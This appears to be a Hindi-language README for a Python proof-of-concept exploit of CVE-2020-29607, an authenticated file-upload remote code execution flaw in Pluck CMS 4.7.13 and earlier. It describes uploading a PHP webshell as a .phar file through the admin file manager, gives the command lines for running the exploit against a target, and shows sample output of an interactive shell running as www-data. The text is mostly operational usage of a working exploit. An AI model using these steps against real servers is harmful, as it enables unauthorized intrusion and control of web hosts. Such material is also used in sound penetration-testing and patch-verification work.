CVE-2020-29607 — Pluck CMS <= 4.7.13 प्रमाणित फ़ाइल अपलोड RCE (PoC)

Pluck CMS 4.7.13 से पहले के संस्करण में प्रमाणित दूरस्थ कोड निष्पादन। एडमिन फ़ाइल प्रबंधक (admin.php?action=files) फ़ाइल एक्सटेंशन को मान्य नहीं करता, जिससे .phar फ़ाइलें अपलोड की जा सकती हैं जिन्हें Apache PHP के रूप में निष्पादित करता है। इस एंडपॉइंट के माध्यम से वेबशेल अपलोड करने से वेब सर्वर उपयोगकर्ता के रूप में RCE होता है।

यह कैसे काम करता है

1. प्रदान किए गए एडमिन पासवर्ड का उपयोग करके प्रमाणित होता है।
2. एडमिन फ़ाइल प्रबंधक के माध्यम से shell.phar के रूप में PHP वेबशेल अपलोड करता है।
3. शेल का अनुरोध करके और id चलाकर निष्पादन की पुष्टि करता है।
4. अपलोड की गई वेबशेल के विरुद्ध एक इंटरैक्टिव कमांड लूप खोलता है।

आवश्यकताएँ

• Python 3
• निर्भरताएँ स्थापित करें:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

उपयोग

# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

उदाहरण:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

संदर्भ

• CVE-2020-29607
• EDB-49909
• Original PoC by Ron Jost (Hacker5preme)

श्रेय

• खोज और मूल शोषण: Ron Jost (Hacker5preme)
• Python 3 पोर्ट और इंटरैक्टिव शेल: Esteban Zárate